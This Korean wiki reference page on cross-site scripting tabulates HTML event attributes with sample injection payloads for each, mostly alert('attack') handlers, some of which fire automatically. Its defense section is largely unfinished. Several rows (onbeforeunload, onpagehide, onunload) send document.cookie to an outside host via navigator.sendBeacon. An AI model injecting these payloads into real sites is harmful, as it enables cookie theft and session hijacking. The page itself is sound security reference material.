사용자 도구

사이트 도구


사이드바

기술문서:레퍼런스:보안:xss

문서의 이전 판입니다!


XSS

XSS (Cross Site Scripting) 공격과 방어

공격

HTML Event Attributes

속성 예시 비고
onabort - 강제 중단/취소
onactivate 1) -
onafterprint 2) <body
onafterprint="alert('attack')">
</body>

<frameset
onafterprint="alert('attack')">
</frameset>
인쇄 후
- 인쇄
- 취소
onafterscriptexecute 3) 4) -
onafterupdate 5) -
onanimationcancel 6) - 강제 중단/취소
onanimationend 7) <span
onanimationend="alert('attack')"
style="animation:progress-bar-stripes 1s">
</span>
자동 실행 8)
onanimationiteration 9) <span
onanimationiteration="alert('attack')"
style="animation:progress-bar-stripes 1s infinite">
</span>
자동 실행 10)
onanimationstart 11) <span
onanimationstart="alert('attack')"
style="animation:progress-bar-stripes 1s">
</span>
자동 실행 12)
onappinstalled 13) 14) <body
onappinstalled="alert('attack')">
</body>
PWA 설치 성공 시
onauxclick 15) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onauxclick="alert('attack')">
(영역 내) 떼는 순간
- 왼쪽 버튼 이외
onbeforeactivate 16) 17) -
onbeforecopy 18) <span
onbeforecopy="alert('attack')">
Ctrl + C
</span>
복사 시작 시
onbeforecut 19) <span
onbeforecut="alert('attack')">
Ctrl + X
</span>
잘라내기 시작 시
onbeforedeactivate 20) 21) -
onbeforeeditfocus 22) 23) -
onbeforeinput <input
onbeforeinput="alert('attack')">
입력 직전
onbeforeinstallprompt 24) 25) <body
onbeforeinstallprompt="alert('attack')">
</body>
PWA 설치 가능 시
onbeforematch -
onbeforepaste 26) - 붙여넣기 시작 시
onbeforeprint 27) <body
onbeforeprint="alert('attack')">
</body>

<frameset
onbeforeprint="alert('attack')">
</frameset>
인쇄 전
onbeforescriptexecute 28) 29) -
onbeforetoggle FIXME FIXME
onbeforeunload 30) <body
onbeforeunload="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</body>

<frameset
onbeforeunload="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</frameset>

<body
onbeforeunload="return true">
</body>

<frameset
onbeforeunload="return true">
</frameset>

<body
onbeforeunload="event.returnValue=true">
</body>

<frameset
onbeforeunload="event.returnValue=true">
</frameset>
페이지 이탈 시
onbeforeupdate 31) -
onbegin 32) <svg width="0" height="0">
<animate
onbegin="alert('attack')">
</svg>
자동 실행
onblur 33) <input
onblur="alert('attack')">
포커스 이탈 시
onbounce 34) -
oncancel -
oncanplay 35) FIXME FIXME
oncanplaythrough 36) FIXME FIXME
oncellchange 37) -
onchange 38) <input
onchange="alert('attack')">
1) 값 변경
2) 포커스 이탈 시
onchargingchange 39) -
onclick FIXME FIXME
onclose -
oncontentvisibilityautostatechange <span
oncontentvisibilityautostatechange="alert('attack')"
style="content-visibility:auto">
</span>
자동 실행
oncontextlost 40) -
oncontextmenu FIXME FIXME
oncontextrestored 41) -
oncontrolselect 42) -
oncopy 43) <span
oncopy="alert('attack')">
Ctrl + C
</span>
복사 실행 시
oncuechange FIXME FIXME
oncut 44) <span
oncut="alert('attack')">
Ctrl + X
</span>
잘라내기 실행 시
ondeactivate 45) 46) -
ondblclick FIXME FIXME
ondevicechange 47) -
ondevicemotion 48) -
ondeviceorientation 49) -
ondeviceorientationabsolute 50) -
ondrag FIXME FIXME
ondragend FIXME FIXME
ondragenter FIXME FIXME
ondragleave FIXME FIXME
ondragover FIXME FIXME
ondragstart FIXME FIXME
ondrop FIXME FIXME
ondurationchange FIXME FIXME
onend 51) <svg width="0" height="0">
<animate
onend="alert('attack')"
dur="1s">
</svg>
자동 실행
onended FIXME FIXME
onerror <img
src=""
onerror="alert('attack')">
자동 실행
onerrorupdate 52) -
onfilterchange 53) -
onfinish 54) -
onfocus 55) <input
onfocus="alert('attack')">
포커스 진입 시
onfocusin 56) <input
onfocusin="alert('attack')">
포커스 진입 시
onfocusout 57) <input
onfocusout="alert('attack')">
포커스 이탈 시
onformchange - 1) 값 변경
2) 포커스 이탈 시
onformdata 58) -
onforminput - 입력 직후
onfreeze 59) -
onfscommand 60) 61) -
onfullscreenchange - 전체 화면 변경
onfullscreenerror - 전체 화면 오류
ongamepadconnected 62) -
ongamepaddisconnected 63) -
ongotpointercapture 64) - 제어권 획득
onhashchange - 해시(#) 변경 시
onhelp 65) -
oninput <input
oninput="alert('attack')">
입력 직후
oninvalid FIXME FIXME
onkeydown FIXME FIXME
onkeypress FIXME FIXME
onkeyup FIXME FIXME
onlanguagechange 66) 67) <body
onlanguagechange="alert('attack')">
</body>
브라우저 설정
- 언어 추가/삭제/이동
- 이 언어로 표시
onlayoutcomplete 68) -
onlevelchange 69) -
onload <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onload="alert('attack')">
자동 실행
onloadeddata 70) FIXME FIXME
onloadedmetadata 71) FIXME FIXME
onloadstart 72) <audio
src=""
onloadstart="alert('attack')">

<video
src=""
onloadstart="alert('attack')">
자동 실행
onlostpointercapture 73) - 제어권 상실
onmessage 74) -
onmessageerror 75) -
onmousedown FIXME FIXME
onmouseenter FIXME FIXME
onmouseleave FIXME FIXME
onmousemove FIXME FIXME
onmouseout FIXME FIXME
onmouseover FIXME FIXME
onmouseup FIXME FIXME
onmousewheel FIXME FIXME
onmove FIXME FIXME
onmoveend FIXME FIXME
onmovestart FIXME FIXME
onmozfullscreenchange 76) - 전체 화면 변경
onmozfullscreenerror 77) - 전체 화면 오류
onoffline 78) - 온라인 → 오프라인
ononline 79) - 오프라인 → 온라인
onorientationchange 80) <body
onorientationchange="alert('attack')">
</body>
화면 회전
onpagehide 81) <body
onpagehide="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</body>

<frameset
onpagehide="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</frameset>
페이지 이탈 시
onpageshow 82) <body
onpageshow="alert('attack')">
</body>

<frameset
onpageshow="alert('attack')">
</frameset>
페이지 진입 시
onpaste 83) <span
onpaste="alert('attack')">
Ctrl + V
</span>
붙여넣기 실행 시
onpause 84) FIXME FIXME
onplay 85) FIXME FIXME
onplaying FIXME FIXME
onpointercancel 86) - 강제 중단/취소
onpointerdown 87) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerdown="alert('attack')">
(영역 내) 누르는 순간
onpointerenter 88) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerenter="alert('attack')">
(영역 내) 진입 시
onpointerleave 89) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerleave="alert('attack')">
(영역 내) 이탈 시
onpointermove 90) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointermove="alert('attack')">
(영역 내) 이동 시
onpointerout 91) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerout="alert('attack')">
(영역 내) 이탈 시
onpointerover 92) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerover="alert('attack')">
(영역 내) 진입 시
onpointerrawupdate 93) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerrawupdate="alert('attack')">
(영역 내) 이동 시
onpointerup 94) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerup="alert('attack')">
(영역 내) 떼는 순간
onpopstate FIXME FIXME
onpresentationconnectionavailable 95) -
onprogress 96) FIXME FIXME
onpropertychange FIXME FIXME
onratechange FIXME FIXME
onreadystatechange 97) -
onrejectionhandled 98) -
onrepeat 99) <svg width="0" height="0">
<animate
onrepeat="alert('attack')"
dur="1s"
repeatCount="2">
</svg>

<svg width="0" height="0">
<animate
onrepeat="alert('attack')"
dur="1s"
repeatCount="indefinite">
</svg>
자동 실행
onreset 100) -
onresize 101) <body
onresize="alert('attack')">
</body>

<frameset
onresize="alert('attack')">
</frameset>

<svg width="0" height="0"
onresize="alert('attack')">
</svg>
창 크기 변경
onresume 102) -
onrowenter 103) -
onrowexit 104) -
onrowsdelete 105) -
onrowsinserted 106) -
onscroll FIXME FIXME
onscrollend FIXME FIXME
onscrollsnapchange FIXME FIXME
onscrollsnapchanging FIXME FIXME
onsearch 107) <input
type="search"
onsearch="alert('attack')">
Enter 또는 x
onsecuritypolicyviolation FIXME FIXME
onseeked FIXME FIXME
onseeking FIXME FIXME
onselect 108) <input
onselect="alert('attack')">

<textarea
onselect="alert('attack')">
</textarea>
텍스트 선택 시
onselectionchange FIXME FIXME
onselectstart FIXME FIXME
onshow FIXME FIXME
onslotchange FIXME FIXME
onstalled 109) FIXME FIXME
onstart 110) -
onstop FIXME FIXME
onstorage FIXME FIXME
onsubmit 111) -
onsuspend 112) FIXME FIXME
ontimeupdate 113) FIXME FIXME
ontoggle FIXME FIXME
ontouchcancel 114) - 강제 중단/취소
ontouchend 115) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
ontouchend="alert('attack')">
(영역 내) 떼는 순간
ontouchmove 116) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
ontouchmove="alert('attack')">
(영역 내) 이동 시
ontouchstart 117) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
ontouchstart="alert('attack')">
(영역 내) 누르는 순간
ontransitioncancel 118) -
ontransitionend 119) -
ontransitionrun 120) -
ontransitionstart 121) -
onunhandledrejection 122) -
onunload 123) <body
onunload="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</body>

<frameset
onunload="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</frameset>
페이지 이탈 시
onvisibilitychange -
onvolumechange FIXME FIXME
onvrdisplayactivate 124) -
onvrdisplaydeactivate 125) -
onwaiting 126) FIXME FIXME
onwebkitanimationcancel 127) -
onwebkitanimationend 128) -
onwebkitanimationiteration 129) -
onwebkitanimationstart 130) -
onwebkitcurrentplaybacktargetisitemcontainerchange 131) -
onwebkitfullscreenchange 132) - 전체 화면 변경
onwebkitfullscreenerror 133) - 전체 화면 오류
onwebkitmouseforcechanged 134) -
onwebkitmouseforcedown 135) -
onwebkitmouseforceup 136) -
onwebkitmouseforcewillbegin 137) -
onwebkittransitioncancel 138) -
onwebkittransitionend 139) -
onwebkittransitionrun 140) -
onwebkittransitionstart 141) -
onwebkitwillrevealbottom 142) -
onwheel FIXME FIXME
onzoom FIXME FIXME

143) 144)

FIXME

  • ReDoS

방어

FIXME

  • HttpOnly 설정
1) , 17) , 21) , 23) , 33) , 46) , 55) , 56) , 57)
포커스
2) , 27) , 30) , 81) , 82) , 123)
<body>, <frameset>
3) , 28) , 76) , 77)
Gecko 엔진
4) , 29)
<script>
5) , 16) , 20) , 22) , 31) , 37) , 42) , 45) , 52) , 53) , 60) , 65) , 68) , 103) , 104) , 105) , 106)
Internet Explorer
6) , 7) , 9) , 11)
CSS 애니메이션
8) , 10) , 12)
Bootstrap 3.x, 4.x, 5.x 사용 시
13) , 24)
Progressive Web App
14) , 25) , 67) , 80)
<body>
15)
마우스
18) , 19) , 26) , 43) , 44) , 83)
클립보드
32) , 51) , 99)
SVG 애니메이션
34) , 54) , 110)
<marquee>
35) , 36) , 70) , 71) , 72) , 84) , 85) , 96) , 109) , 112) , 113) , 126)
<audio>, <video>
38)
<input>, <textarea>, <select>
39) , 40) , 41) , 47) , 48) , 49) , 50) , 59) , 62) , 63) , 69) , 95) , 102) , 124) , 125)
하드웨어
58) , 100) , 111)
<form>
61)
플래시
64) , 73) , 86) , 87) , 88) , 89) , 90) , 91) , 92) , 93) , 94)
포인터
66)
시스템
74) , 75) , 78) , 79)
네트워크
97) , 98) , 122)
비동기
101)
<body>, <frameset>, <svg>
107)
<input>
108)
<input>, <textarea>
114) , 115) , 116) , 117)
터치
118) , 119) , 120) , 121)
CSS 트랜지션
127) , 128) , 129) , 130) , 131) , 132) , 133) , 134) , 135) , 136) , 137) , 138) , 139) , 140) , 141) , 142)
WebKit 엔진